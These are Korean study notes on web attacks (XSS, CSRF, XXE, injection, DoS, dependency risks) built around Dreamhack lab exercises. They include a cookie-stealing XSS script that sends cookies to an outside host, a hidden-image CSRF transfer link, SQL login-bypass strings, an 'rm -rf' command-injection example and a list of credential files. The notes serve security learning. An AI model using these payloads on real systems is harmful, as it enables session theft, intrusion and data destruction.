2부 공격

신원상·2024년 5월 21일

수정하기 시 이전 목록 불러오기 X 클릭 -> 작성중수정하기 필수로,,

사이트 간 스크립팅(XSS)

XSS 탐색과 익스플로잇

  • 사용자가 웹 폼을 통해 의견 제출 -> 사용자 의견을 DB에 저장 -> 한명이상의 사용자가 HTTP 요청을 통해 의견 요청 -> 의견이 페이지에 주입됨 -> 주입된 의견이 텍스트가 아니라 DOM 으로 해석
    HTTP 요청을 있는 그대로 DOM에 적용한다면 간단한 스크립트로도 공격이 가능
  • 브라우저는 텍스트를 텍스트로, 스크립트 태그를 만나면 스크립트로 해석함

요약

  • 웹 어플리케이션 소유자가 작성하지 않은 스크립트가 브라우저에서 실행
  • 눈에 띄지 않고 몰래 실행되거나 사용자 입력이 있을때 실행
  • 웹 애플리케이션에 현재 나타나는 데이터 취득 가능
  • 데이터를 악의적 웹 서버와 자유롭게 송수신 가능
  • UI에서 사용자 입력을 올바로 정제하지 않은 결과로 발생
  • 세션 토큰을 훔치고 계정을 빼앗는데 사용 가능

인증 스킴 : 클라이언트가 서버에 자신의 신원을 인증하기 위해 사용하는 특정 규칙과 프로토콜의 집합

+@
블랙리스트 우회 : < ruby>XSS

저장 XSS

  • 사용자가 업로드한 악의적 스크립트가 DB에 저장되어 있다가 다른 사용자가 요청하고 조회할 때 스크립트 실행
  • 저장된 DB 객체는 여러 사용자가 볼수 있음
  • 글로벌 객체가 감염될 경우 모든 사용자가 XSS에 노출될 가능성 있음
  • 쉽게 탐지될수 있다는 단점이 있다

방지책

  • DB에 저장된 스크립트가 있는지 주기적으로 확인
  • 단순 정규 표현식 사용
  • CSP 규칙을 사용(인라인 스크립트 실행을 방지)

반사 XSS

  • 저장 XSS 와는 다르게 서버를 타격하지 않는다 => DB에 저장되지 않는다
  • XSS 스크립트를 포함한 악의적 웹 생성 및 공유 -> 사용자 접근 -> url이 브라우저 DOM에 반사되어 스크립트 실행
  • 서버를 노리지 않고 사용자를 직접적으로 노리기 때문에 탐지가 어렵다
  • 많은 사용자에게 유포하기 쉽지 않음

DOM XSS

  • 반사와 저장 방식 둘다 가능
  • DOM 구조를 이용하여 요소들을 수정하거나 추가하는 등 동적 행위를 할 때 접근하는 자바스크립트에 악성 스크립트를 삽입하여 클라이언트 측 브라우저에서 악성 스크립트가 실행되도록 하는 공격
  • 서버와 상호작용하지 않는다. 그 대신 DOM 싱크와 소스를 사용해 실행한다
  • 요청이 서버로 전송되지 않고 클라이언트 브라우저에서 공격이 이루어지는 특징을 가지고 있다
  • 다양한 웹 브라우저들이 존재하기에 DOM 방식은 더 어렵다

참고자료 1
참고자료 2 : mxss 관련 문서

뮤테이션 XSS

  • 오늘날의 모든 주요 브라우저에서 사용가능
  • 필터에 걸리지 않는 안전한 페이로드가 필터를 통과한뒤 안전하지 않은 페이로드로 변하는것
  • 잠재적 XSS 문자열을 걸러내기 위해 DOMPurify사용
  • 브라우저 DOM 엘리먼트는 부모 자식 형제가 무엇인지에 따라 다르게 작동 가능

DOMPurify : JavaScript 기반의 라이브러리로, 웹 애플리케이션에서 사용자로부터 입력된 HTML을 안전하게 처리하기 위해 설계
HTML 정제, 보안 특성 유지, 브라우저 호환성, 커스터마이징 가능하다는 특징이 있다

드림핵

드림핵 강의 1

웹 서비스 분석

엔드포인트

  • /vuln : 이용자가 전달한 param 파라미터의 값을 출력
  • /memo : 이용자가 전달한 memo 파라미터 값을 기록 및 출력
  • /flag : 메소드에 따른 요청마다 다른 기능을 수행

취약점 분석

  • /vuln : 입력한 값을 페이지에 그대로 출력하기 때문에 XSS가 발생
  • /memo : 템플릿 변수를 기록할 때 HTML 엔티티코드로 변환해 저장하기 때문에 XSS가 발생 X
    공통점 : 이용자의 입력값을 페이지에 출력

익스프로잇
location.herf : 전체 URL을 반환, URL을 업데이트 가능
document.cookie : 페이지에서 사용하는 쿠키를 읽고, 쓰기 가능

쿠키 탈취

  • 방법
  1. memo 페이지 사용
    스크립트 : "<" script>location.href = "/memo?memo=" + document.cookie;</script ">"
  2. 외부에서 접근 가능한 웹 서버 사용
    스크립트 : "<" script>location.href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script ">"
    드림핵 도구

주로 이용자의 입력값이 출력되는 페이지에서 발생, 타 이용자의 브라우저에 저장된 쿠키 및 세션 정보를 탈취 가능

악성 태그를 필터링하는 HTML Sanitization을 사용하거나 엔티티 코드로 치환하는 방법을 통해 해결
드림핵 문제 1
=> 문제 풀이 후 보고서 작성(문제 풀이 완료 / 보고서 작성 예정)


드림핵 강의 2
셀레늄 : 웹 애플리케이션 테스팅에 사용되는 파이썬 패키지
API를 통해 크롬 사파리등 웹 드라이버 사용 가능
=> 웹 브라우저를 사용한 페이지 방문과 같은 역할을 한다.

  • / : 인덱스 페이지
  • /vuln : 입력한 값을 출력
  • /memo : 메모 작성 및 출력
  • /flag : flag 값 도출

엔드포인트
/vuln
/memo
/flag

참고자료 1 : innerHTML

드림핵 문제 2
=> 문제 풀이 후 보고서 작성(문제 풀이 중 / 보고서 작성 예정)

[사이트 구축 후 링크 삽입(예정)]


사이트 간 요청 위조(CSRF)

  • 웹 사이트와 브라우저 사이의 신뢰 관계를 이용한 공격
  • 사용자가 인증한 세션에서 웹 어플리케이션이 정상적인 요청과 비정상적인 요청을 구분하지 못하는 점을 악용한 공격
  • 주로 데이터의 값을 변경하는 요청을 대상으로 이루워짐, 이때 하이퍼링크에 주로 삽입해 공격

질의 매개변수 변조

  • 하이퍼링크를 통해 매개변수 변조 가능
  • GET 요청을 이용
  • 웹 서버는 요청을 받으면 브라우저의 종류 및 기대하는 데이터 형식 등을 핸들러 클래스에 보냄

핸들러 클래스 : 이벤트 처리, 오류 처리 또는 다른 유형의 작업을 처리하는 데 사용되는 객체 지향 프로그래밍의 개념.
주로 프로그램이나 시스템에서 발생하는 이벤트나 예외를 캐치하고 처리하는 데 사용

과정
1. 링크 생성
2. 배포
3. 피해자 클릭
4. GET 요청
5. 피해자 모르게 GET 요청 처리

  • 권한 상승
  • 요청을 일으키는 사용자 계정

여러 요청중 GET 요청이 가장 CSRF 공격에 취약하다
=> 데이터를 그대로 반사할때 질의 매개변수를 읽기 때문

GET 페이로드 바꿔치기

  • 주로 HTTP 요청은 GET 요청이기 때문에 GET에서 이루워짐
  • "이미지"를 전송할때 GET 요청이 발생하기 때문에 공격 가능
    ( + 하이퍼링크, 이미지, HTML 태그 etc..)

ex) 이미지 파일이 DOM에 로딩시 GET 요청 발생, 이를 이용해 공격
1. 0 X 0 픽셀의 이미지를 삽입해 게시
2. 사용자가 이미지 로딩 시도 및 로딩 시 GET 요청 발생
3. 사용자의 인증 쿠키 서버로 전송
4. 사용자의 쿠키는 공격자에게 전송 but 사용자는 알지 못함

+@) img 뿐만 아니라 video 도 가능하다.
주의점은 브라우저의 설정에 따라 공격이 불가한 경우도 있다.

POST 엔드포인트에 대한 CSRF

  • GET 뿐만 아니라 POST, DELETE, PUT 도 가능(단, GET 보다는 방식이 까다롭다)
  • 브라우저 폼을 통해 주로 이뤄진다
  1. 공격자가 웹 사이트에 form 생성(악의적) 후 배포 시도
  2. 사용자가 폼 사용으로 인해 POST 요청 시도
  3. 내부 네트워크일지라도 사용자의 서버의 상태 변경 가능
    +@) 이때 히든 타입 어트리뷰트를 사요할 수 있다.
    *히든 타입 어트리뷰트 <"input type="hidden""> : 사용자에게는 보이지 않는 숨겨진 입력 필드를 정의

*<"form"><"/form"> : 웹 양식에 대한 지원 제공. ex) 로그인 폼, 배송지 정보 등 정보 입력이 가능한 창

form 태그 종류 : method, name, action, target, autocomplete etc..

*scr attribute : 이미지 소스의 URL을 명시
ex) "<"img src="/images/test.png" alt="테스트 이미지"">"

드림핵 문제링크삽입 예정

XSS 와의 차이점

  • CSRF는 사용자의 인증된 세션을 악용하는 공격, XSS는 인증된 세션 없이도 공격을 진행 가능

  • CSRF는 웹 어플리케이션이 이미 인증된 사용자의 요청은 신뢰한다, XSS는 사용자가 특정 사이트를 신뢰한다. 를 노린 공격

  • CSRF는 사용자의 송금, 제품 목록, 구입 내역 등 사용자의 입력 정보를 탈취하는 것을 목적, XSS는 사용자의 정보를 탈취하는 것이 목적

  • 스크립트를 웹 페이지에 작성해 공격한다는 점은 동일하다, 둘다 클라이언트를 대상으로 하는 공격

드림핵

드림핵 강의 1
드림핵 강의 2

  • 자동 로그인 기능을 통해 공격 당할 가능성이 있다
  • 공격자의 공격이 성공하기 위해선, 사용자가 실행해야 한다는 문제가 있다.
    태그 공격 예시
    : "<"img src='이동 링크' width=0px height=0px">"
    자바스크립트 공격 예시
    : window.open('링크');
    : location.href = '링크';
    location.replace('이동 링크');

실습 문제 풀이

  • 앞의 설명에 사용한 코드로 작성되어있음
  • 자바스크립트는 실행 제한 => html 코드로 공격
  1. 앞의 공격 스크립트에 나와있는 링크 확인
    "<"img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337' width=0px height=0px">"
  2. 링크 내 amount=1337 임을 확인 후 숫자를 변경 1000000

+@)
1. 브라우저는 CSRF 취약점을 방지하기 위한 보안 메커니즘을 제공한다
2. 서버에서 이용자를 식별하기 위해 쿠키를 사용하고 있어야 CSRF 취약점으로 공격할 수 있다
3. 서버에서 HTTP의 GET 메소드가 아닌 POST 메소드로 데이터를 받아도 CSRF에 안전하지 않다
4. CSRF 공격이 불가능할 때 XSS 공격은 가능하다
추가 문제

드림핵 강의 / 문제 1
드림핵 강의 / 문제 2


XML 외부 엔티티(XXE)

  • 애플리케이션 코드의 잘못 구성된 XML 파서에 의존한다.
    : XML 파서 : XML 문서를 해석하고 구조화된 데이터를 생성하는 도구
  • 실행하긴 쉽지만 피해는 큰 공격(y?)
    : 웹 서비스, API, SOAP 요청, XML을 사용하는 다양한 애플리케이션이 공격 대상이 될수 있음
    : 데이터 탈취, 원격 코드 실행, DoS, SSRF 피해 가능성 O
  • 일반적으로 XXE 공격 취약점은 XML 페이로드를 수용하는 API 엔드포인트로 발견된다. => XML 데이터를 처리하는 특정 API의 기능(엔드포인트)이 공격의 진입점이 될 수 있음을 의미
  • 서버의 XML 파서에 특별한 XML 페이로드를 보냄으로써 서버의 파일 구조에 속한 파일을 공격함

직접 XXE

  • XML 객체가 외부 엔티티 플래그를 가지고 서버에 전송 후 파싱되어 외부 엔티티를 포함한 결과가 반환
    : 공격자가 XML 데이터를 통해 외부 엔티티를 주입하여 시스템의 민감한 정보를 직접적으로 탈취하거나 조작

공격 예시

  1. 사용자, 서버 엔드포인트에 XML 페이로드 전송
  2. XML 파서는 XML 페이로드 파싱
  3. 외부 엔티티 플래그가 처리되어 서버의 파일이 파싱 결과에 반영
  4. 서버 로컬 파일이 사용자에게 요청 결과와 함께 전송

간접 XXE

  • 사용자가 제공한 매개변수를 포함하는 XML 객체로 외부 엔티티 태그를 포함할 가능성이 있다. (직접 XML은 외부 엔티티를 포함)
    => XML 파서가 외부 엔티티를 허용하고, 이를 통해 내부 네트워크나 다른 서버로 요청을 보내도록 유도

(p.200 간접 XXE)

공격 예시

  1. 사용자는 외부 엔티티를 포함하는 페이로드를 서버에 매개변수로 보낸다
  2. 서버는 XML 파일을 생성하고 사용자 매개변수는 XML에 통합
  3. XML 파서는 XML을 파싱
  4. 외부 엔티티 플래그가 처리되며 서버의 파일이 파싱 결과에 반영
  5. 서버의 로컬 파일이 요청 결과에 함께 사용자에게 반환
  • 방지 방법
    : XML 파서에서 외부 엔티티를 비활성화하여 XXE 공격을 방지
    XXE 공격은 쉽게 막을 수 있다

XML 이 사용중인지 아닌지 여부를 알기 어려울 때 => 웹 애플리케이션을 소유한 회사의 배경을 조사
이때, 회사 소프트웨어 라이선스 관련 정보를 확인 할 수도 있다.

XXE의 공격 목적은 보안성이 떨어지더라도 많이 사용되는 표준.


인젝션(Injection)

SQL 인젝션 : 데이터베이스를 타겟으로 삼는 인젝션 공격

악의적 사용자가
1. 기존 SQL 질의에 매개 변수 삽입
2. 기존 질의를 다른것으로 대체
목표는 상승된 권한으로 DB 침해

# 인터프리터
: 프로그래밍 언어의 소스 코드를 바로 실행하는 컴퓨터 프로그램 또는 환경

특징 : 즉각적 실행(디버깅 유리), 플랫폼 독립성(호환성 높), 동적 타입 검사()
ex) python, javascript, ruby, php, perl

장점
1. 코드 실행과 테스트가 즉각적으로 가능
2. 코드 수정 후 재컴파일 필요 없음
3. 디버깅이 용이하고, 높은 가독성

단점
1. 실행 속도가 컴파일된 언어에 비해 느림
2. 실행 시점에 오류가 발견될 수 있음

컴파일러의 반의어라고 보면 될듯 (원시코드를 기계어로)

SQL 인젝션 이외에도 CLI도 가능

SQL 인젝션

  • 파서 : 입력된 데이터를 분석하고 구조화된 형식으로 변환하는 소프트웨어 컴포넌트 이후 명령어 실행까지.
  • HTTP 페이로드에서 SQL 문자열이 이스케이프되어 최종 사용자를 대신해 커스텀 SQL 질의가 실행

예시
1. SQL 이스케이프 문자와 SQL 코드가 포함된 페이로드를 API 엔드포인트에 전송
2. 사용자 입력 값을 DB에 질의
3. SQL 인터프리터가 인스케이프되어 SQL 질의 실행 사용자 권한 상승
4. 사용자에게 결과값은 출력되지 않을수 있으나, 질의 실행으로 인해 서버는 피해를 입음

  • PHP의 뷰 로직 데이터 코드 사이의 구분이 느슨해진것이 원인
    즉 어디가 뭔지 모를 정도로 코드가 섞여있다..

  • 근래 PHP 코딩 표준이 엄격, SQL 인젝션 발생을 줄여주는 도구가 나옴 => 개발자가 PHP를 선택하는 일이 줄고 있음
    WHY?.. :

결과적으론 이로인해 SQL 인젝션은 줄어듦..

특정한 매개변수만 받아들여야하는 인터프리터가 정제를 제대로 하지 않는 바람에 페이로드를 읽어들이게 된다.

코드 인젝션

  • API 엔드포인트에서 호출한 명령줄 인터페이스는 정제가 충분하지 못함으로 예상치 못한 명령을 받으며 공격이 이루워짐..

과정
1. HTTP 요청을 위조해 요청(커스텀 명령 추가)
2. 로컬 CLI에서 명령 실행
3. 명령 문자열을 해석 및 실행
4. 원래의 의도와 다르게 실행
5. 원시코드 실행 / 기존의 의도된 기능에서 벗어남

SQL 인젝션은 일차적으로는 인젝션 공격이며 이차적으로는 코드인젝션 공격이다?
=> 1차로는 애플리케이션의 입력을 통해 외부 데이터를 주입하여 쿼리의 동작을 변경해 공격
2차로 주입된 SQL 코드가 데이터베이스 엔진에 의해 실행되기 때문에, 이는 코드 인젝션 공격의 특성을 가짐

CLI에 추가로 명령을 주입하는 방법

CLI 아키텍처에 따라 변경

CLI를 사용하는 곳 보다 DB를 사용하는 곳이 더 많기 때문에 많이 알려지지 않았다.

명령 인젝션

API 엔드포인트의 정상적인 작동을 방해하는 커스텀 명령(배시 명령)을 추가..

  • 공격자가 시스템 명령어를 실행할 수 있도록 설계된 프로그램이나 스크립트의 취약점을 이용해 임의의 시스템 명령을 실행하는 공격 기법

작동 원리

  • 취약한 입력 필드 탐색
  • 악성 입력 삽입
  • 명령어 실행

과정
1. HTTP 요청 변조 후 요청, 이때 커스텀 배시 명령을 추가
2. 변조된 배시 명령을 서버에 대해 실행
3. 배시 인터프리터가 명령을 받아 실행
4. 시스템 보안침해

=> 대부분의 서버 는 유닉스 기반이기 때문에 배시명령 공격을 받는다면, 피해가 클수 밖에 없다.

  • r 뿐만 아니라 w 권한도 얻을 수 있음

ex)
/etc/passwd : os 전체 사용자 계정
/etc/shadow : 암호화된 사용자 패스워드
~/.ssh : ssh 키
/etc/apache2/httpd.conf : 아파치 구성 파일
/etc/nginx/nginx.conf : nginx 구성 파일

가능한 피해

  • 서버 데이터 탈취
  • 탈취 후 추적 방지를 위한 로그 파일 수정
  • 백도어
  • 중요파일 삭제
  • 서버 가동 중단
  • 전체 계정 및 관리자 계정 탈취

+ @ 유닉스 기반 os에서는 퍼미션 지정을 통해 엔드포인트의 침해로 인한 피해를 줄여주어 위험을 완화할수 있다.
=> 퍼미션 시스템을 통해 소유자, 그룹, 다른 사용자별로 읽기, 쓰기, 실행 권한을 설정하고 관리, 이를 통해 시스템의 보안을 강화하고, 엔드포인트 침해로 인한 피해를 최소화함

배시명령을 문자열로 이어 붙여 공격 가능
예시) test.txt && rm -rf /경로

예방 방법
1. 사용자 입력 검증
2. 특수 문자 이스케이프
3. 직접 호출 대신, 보안 라이브러리를 사용

인젝션 공격은 사용자 입력을 지나치게 신뢰하기에 생김

드림핵 강의 1

  • 데이터베이스에 정보를 저장하고, 이를 관리하기 위해 DataBase Management System (DBMS)을 사용
    새로운 정보 기록, 수정, 삭제 기능
    동시 접근 가능 및 검색 조회 가능

DBMS

  • 관계형(MySQL, MariaDB, PostgreSQL, SQLite)
    - 행과 열의 집합인 테이블 형식으로 데이터를 저장
  • 비관계형(MongoDB, CouchDB, Redis)
    - 키-값 (Key-Value) 형태로 값을 저장

DBMS(Relational DataBase Management System)

  • 행과 열의 집합으로 구성된 테이블의 묶음 형식으로 데이터를 관리
  • 게시글의 조회 수정 생성 참조의 기능을 함..

SQL(Structured Query Language)

  • RDBMS의 데이터를 정의하고 질의, 수정 등을 하기 위해 고안된 언어
  1. DML(조작) : 데이터베이스 내에 존재하는 데이터에 대해 조회 저장 수정 삭제
    INSERT into, SELECT, UPDATE set
  2. DCL(권한 설정) : 데이터베이스 내에 이용자의 권한을 부여 및 박탈
    GRANT, REVOKE
  3. DDL(정의) : 데이터를 저장하기 위한 스키마, 데이터베이스의 생성 수정 삭제
    CREATE

RDBMS(관계형 DBMS, Relational DataBase Management System)

  • 행과 열의 집합으로 구성된 테이블을 관리함
    => 테이블 형태로 저장되는 관계형 DBMS
  • 고유키를 참조
    @) RDBMS는 스키마를 정의하고 해당 규격에 맞는 데이터를 2차원 테이블 형태로 저장

드림핵 강의 1-1
SQLite란?
: MySQL, MSSQL, Oracle 등과 유사한 형태의 데이터베이스 관리 시스템이지만, 다른 프로그램과의 차이점은 경량화된 시스템이다.(데이터 관리를 위한 필수 기능만 지원)
주로 임베디드 장비, 독립실행형 프로그램에서 사용

문제의 접근법 2가지
1. 로그인을 우회해 푸는 법
2. 비밀번호를 알아내 로그인하는 법

  1. 로그인을 우회해 푸는 법
    1-1. ID: admin"--, PW: DUMMY
    userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리

예시)
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"

1-2.
ID: admin" or "1 , PW: DUMMY
userid 검색 조건 뒤에 "OR" 조건을 추가해 뒷 내용이 무엇이든, admin 이 반환

예시)
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"

1-3.
ID: admin, PW: DUMMY" or userid="admin
userid 검색 조건에 admin을 입력, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환

예시)
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"

1-4.
ID: " or 1 LIMIT 1,1-- , PW: DUMMY
userid 검색 조건 뒤에 or 1을 추가해, 테이블의 모든 내용을 반환, LIMIT 절을 이용해 두 번째 Row인 admin을 반환

예시)
SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"

드림핵 문제 1

각 SQL 별 주석 처리 방식

MySQL : #
Oracle : --
MSSQL : --
MariaDB : --, #
Sybase IQ : --, //, %
Sybase ASE : --
DB2 : --
(여러 줄 주석 : /* */)

드림핵 강의 2

NRDBMS, NoSQL(비 관계형 DBMS, Non-Relational DBMS)
Not Only SQL

  • RDBMS의 단점을 보완하기 위해 고안됨
    : 저장해야 하는 데이터가 많아지면 용량의 한계에 다다를 수 있다는 단점

  • SQL을 사용하지 않고 저장 및 검색 추가 가능

  • 정해진 문법이 없고 여러가지 다양한 DBMS가 존재하는데 각각의 구조, 문법을 알아야함
    ex) Redis, Dynamo, CouchDB, MongoDB 등

1. MongoDB

  • JSON 형태인 도큐먼트를 저장
  • 스키마를 따로 정의하지 않아 각 컬렉션*에 대한 정의가 필요 X
  • JSON 형식으로 쿼리를 작성 가능
  • _id 필드가 Primary Key 역할을 함

*컬렉션 : 데이터베이스의 하위 개념

데이터 삽입, 조회의 예시 코드

$ mongosh
// 여기서부터 삽입 ( insertOne 을 사용해 삽입 )
.> db.user.insertOne({uid: 'admin', upw: 'secretpassword'}) => 이게 명령어
{ acknowledged: true, insertedId: ObjectId("5e71d395b050a2511caa827d")} => 이건 결과값

// 여기는 조회 ( find 사용 )
.> db.user.find({uid: 'admin'}) => 이게 찾는 문구
[{ "_id" : ObjectId("5e71d395b050a2511caa827d"), "uid" : "admin", "upw" : "secretpassword" }] => 이건 결과값

<예시문제>
1. 각 DBMS에서 status의 값이 "A"이고, qty의 값이 30보다 작은 데이터를 조회하는 쿼리문 작성

RDBMS의 경우
select *
from DBMS
where status = "A" and qty < 30;

MongoDB의 경우
db.DBMS.find(
{ $and: [
{ status: "A"},
{ qty: {$lt:30}}
]}
)

  • () 괄호 안에 작성 그 안에 {} 작성, 연산자는 []와 세트
  • $를 사용해 연산자 사용 가능
    : and 이외에도 nor, or, not 등이 있음
  • $lt : 미만
    추가
    eq : 지정한 값과 같은 값 찾기
    ne : eq 반대
    nin : in 반대
    lte : 이하
    gt : 초과
    gte : 이상
    in : 특정값 찾기(배열안에 일치하는 값 찾기)

<추가 문법>
insert => insertOne()
delete => remove()
update => updateOne()

Redis

  • 키-값(Key-Value)의 쌍을 가진 데이터를 저장
  • 메모리 기반의 DBMS
    : 메모리를 사용해 데이터를 저장하고 접근
    : 임시 데이터를 캐싱하는 용도로 주로 사용

<명령어>
GET : GET key / 데이터 조회
MGET : MGET key[key ...] / 여러 데이터를 조회
SET : SET key value / 새로운 데이터 추가
MSET : MSET key value [key value ...] / 여러 데이터를 추가
DEL : DEL key [key ...] / 데이터 삭제
EXISTS : EXISTS key [key ...] / 데이터 유무 확인
INCR : INCR key / 데이터 값에 1 더함
DECR : DECR key / 데이터 값에 1 뺌
INFO : INFO [section] / DBMS 정보 조회
CONFIG GET : CONFIG GET parameter / 설정 조회
CONFIG SET : CONFIG SET parameter value / 새로운 설정을 입력

<예시>
SET key "test1123"
GET key

3. CouchDB

  • JSON 형태인 document로 저장
  • POST / GET / PUT / DELETE
    (추가 / 조회 / 업데이트 / 삭제)

<예시>

DELETE /{db}
DELETE /mydatabase
PUT /mydatabase

$ curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"}'
{"ok":true,"id":"guest","rev":"1-22a458e50cf189b17d50eeb295231896"}
=> 계정 정보 업데이트 요청

$ curl http://{username}:{password}@localhost:5984/users/guest
{"_id":"guest","_rev":"1-22a458e50cf189b17d50eeb295231896","upw":"guest"}
=> 계정 조회 요청

  • curl: 커맨드 라인 도구로, HTTP 요청을 서버로 보낼 때 사용
  • -X PUT: HTTP 메서드로 PUT을 사용하여 요청
  • -d '{ }': 요청 본문에 JSON 형식의 데이터를 포함

드림핵 강의 2-1

Mongo DB 문제 풀이 강의

드림핵 문제 2(NoSQL)

참고링크


서비스 거부(DoS)

서버의 가용성 침해부터 기능 무력화까지 가능

정규 표현식 DoS(ReDoS)

  • 위험 수준은 경미. 정규 표현식 파서의 위치에 따라 달라짐

  • 수학적 의미의 정규식과 상이하다.

  • 역추적 하는 특징을 악용한 방법

  • 정규 표현식의 비효율적인 패턴 매칭을 악용하여 시스템 자원을 과도하게 사용해, 서비스 거부 상태까지 도달

  • 이때의 표현식을 악의적 정규 표현식이라 함

논리 DoS 취약점

  • 시스템의 논리적 취약점을 악용하여 정상적인 서비스를 방해하거나 중단시키는 공격 기법
  • 다른 일반적인 DoS와는 다르게 시스템의 논리적 오류나 비효율성을 악용하여 서비스를 방해함
  • 발생시 서버 리소스가 부정 사용자에게 낭비..

과정
1. 악의적 사용자가 리소스를 많이 먹는 API를 반복 요청
2. 일반 사용자 서비스 요청시 응답속도 저하 및 미응답

작동 원리

  1. 시스템의 설계 결함이나 논리적 오류를 이용해 정상적인 기능을 방해 ex) 무한 루프

  2. 시스템이 상태를 유지하는 방식에 결함이 있는 경우 이를 악용

  3. 비즈니스 로직의 약점을 공격하여 정상적인 비즈니스 프로세스를 방해 ex) 상품 가격을 변경해 대량 구매 시도

DoS 취약점은 모든 종류의 소프트웨어 에서 찾을 수 있다.

리소스를 많이 사용하는 웹 애플리케이션 예시

  • 동기적으로 이뤄지는 작업
  • 데이터베이스에 쓰기
  • 드라이브에 쓰기
  • SQL 조인
  • 파일 백업
  • 논리 연산의 루핑

복잡한 API 호출이라면 예시 중 2가지 이상 처리함

이때 걸리는 시간은 알기 힘들기 때문에 요청 시작과 완료시간을 측정, 해당 과정을 반복해 관찰해 요청시간의 평균을 내는것을 추천..

분산 DoS (DDoS)

  • 여러 대의 컴퓨터를 이용해 대규모의 트래픽을 특정 서버나 네트워크에 몰아넣어 서비스가 정상적으로 동작하지 못하게 만드는 공격

다 대 일 공격
이때 공격자는 사람일수도 봇 넷일 수도 있다

목적 : 웹 사이트나 온라인 서비스를 중단 또는 속도 저하

과정
1. 공격자 1~n 서버의 대량 요청 시도
2. 서버 과부화
3. 성능 저하
( 봇넷 구축 => 명령 전달 => 트래픽 증폭 => 공격 실행 )

공격 종류

  • 볼륨 기반 공격(Volume-based Attacks)
    : 대량의 데이터 패킷을 보내 네트워크 대역폭을 소비하게 하는 공격
  • 프로토콜 공격(Protocol Attacks)
    : 네트워크 프로토콜의 취약점을 이용해 서버 자원을 소진시키는 공격 방식
    ex) SYN 플러드 공격 : 공격자가 초기 연결 요청(SYN) 패킷을 반복적으로 전송해, 피해 서버 컴퓨터에 있는 사용 가능한 모든 포트를 대기중으로 만들어, 표적 장치가 합법적인 트래픽에 느리게 응답하거나 전혀 응답하지 못하게 하는 방식..
  • 애플리케이션 레이어 공격(Application Layer Attacks)
    : 웹 서버의 특정 기능을 대상으로 하여 자원을 소진시키고, 서버가 정상적인 요청을 처리하지 못하게 함

API 엔드포인트* : 웹 애플리케이션에서 클라이언트가 서버에 요청을 보내는 특정 URL 경로

+@) 테스트 목적으로 봇넷을 사용하거나 시뮬레이션 할땐 네트워크 수준과 애플리케이션 수준의 공격을 조합하는
것이 현명하다??

=>

  • 네트워크 수준 공격은 네트워크 트래픽을 대상으로한 공격이며, 주로 대량의 데이터를 전송해 대역폭 소비 또는 네트워크 장비 리소스를 고갈시키는 것이 목표..
    ex) SYN Flood / UDP Flood / ICMP Flood

  • 애플리케이션 수준의 공격 특정 앺이나 서비스를 대상으로 한공격이고, 해당 서비스의 자원을 소진 시키는 것이 목표..

ex) HTTP GET / POST 플러드 / Slowloris / XML 파싱 공격

why? : 단일 유형만 사용해 공격한다면 쉽게 차단될 가능성이 있다, 시스템 전체의 성능을 더 정확히 평가 가능..

  • 추가로 두개 수준을 합쳐서 하는 공격 예시로는 SYN Flood 와 HTTP GET Flood 를 합쳐서 하는 공격
    UDP Flood 와 + Slowloris 를 합친 공격

[부록]

  1. UDP Flood : UDP protocol을 사용해 대량의 데이터그램을 목표 시스템으로 보내는 방식의 공격

  2. ICMP Flood : ICMP protocol을 사용해 대량의 핑 요청을 보내는 공격

  3. HTTP GET/POST Flood : 웹 서버에 다량의 HTTP 요청을 보내 서버의 자원을 소진시키는 공격

  4. Slowloris : HTTP 연결을 가능한 한 오래 유지하면서 서버의 연결 자원을 고갈시키는 방식의 공격

  5. XML 파싱 공격 : XML 데이터를 처리하는 애플리케이션의 취약점을 악용해 서버의 자원을 소진시키는 공격
    ex) XML 폭탄(XML Bomb) : 매우 복잡하거나 중첩된 XML 데이터를 보내 파싱시 서버의 메모리를 소진 시키는 역할을 함

  • DoS 공격을 살펴 볼때에는 가장 가치있는 서버 리소스가 무엇인지 조사 후 그 리소스를 사용하는 API를 찾는것이 최선임..

서드파티 의존성 익스플로잇

: 외부 라이브러리, 패키지, 또는 모듈에 포함된 취약점을 악용하여 시스템을 공격하는 방식

수많은 제품들이 OSS 기반으로 구축된다
빌트위드 라는 어플을 사용하면 기술 스택 확인 가능

OSS에 의존한다는 것은 직접 개발한 코드와 같은 강도로 감사를 거치지 않은 코드베이스에 의존함을 의미한다.
=> 즉 코드에 대한 충분한 이해가 덜 되었기에, 문제가 생겼을 때 즉시 대처하기 어려울수 있음.

OSS 통합과 의존성은 보안상 가장 취약한 부분일 수 있다..

브랜치와 포크

현재는 Git 기반의 VCS에서 호스팅 된다
특징으론 분산적이며, 쉽게 수정 업로드가 가능하다.

브랜치 특징
: 동일한 저장소 내에서 생성
: 가볍고 빠르며, 메인 브랜치로 쉽게 병합 가능
: 기능 개발, 버그 수정 등 동일 프로젝트 내 협업에 주로 사용

  • 단점
    : 여러 개발자가 다양한 기능을 동시에 개발할 경우, 브랜치가 너무 많아져서 관리하기 어려움
    : 다양한 브랜치에서 동시에 작업을 수행하면, 병합 시 충돌이 발생할 수 있음

포크 특징
: 저장소의 전체 복사본을 만들어 독립적인 저장소로 사용
: 원본 저장소와 독립적으로 관리
: 오픈 소스 프로젝트에 기여하거나 독립적인 프로젝트 개발에 주로 사용

  • 단점
    : 원본 저장소의 최신 변경 사항을 반영하는 데 어려움이 있음

자체 호스팅 애플리케이션 통합

예시 : 워드프레스

위와 같은 통합된 애플리케이션을 사용하게 되면
1. 시간이 흐른 뒤 취약점을 찾아 해결하기 어려워진다(위치 찾기 어려움)
2. 백도어의 원격코드 실행을 초래할수 있다

소스 코드 통합

  • 웹 애플리케이션과 OSS 를 통합하는 방식도 있음
    단순히 여러 개발자가 동시 작업한 코드를 한 곳으로 합치는 것

패키지 관리자

  • 소프트웨어 패키지의 설치, 업그레이드, 설정, 제거를 자동화하는 도구
  • 어느 장치에서 실행되는지와 관계 없이 사용 가능
    -주요 프로그램밍 언어는 모두 한개 이상의 패키지 관리자를 두고 있고, 아키텍처 패턴은 비슷하다

ex) 자바스크립트, 자바, NuGet, Conan, Spack, etc..)

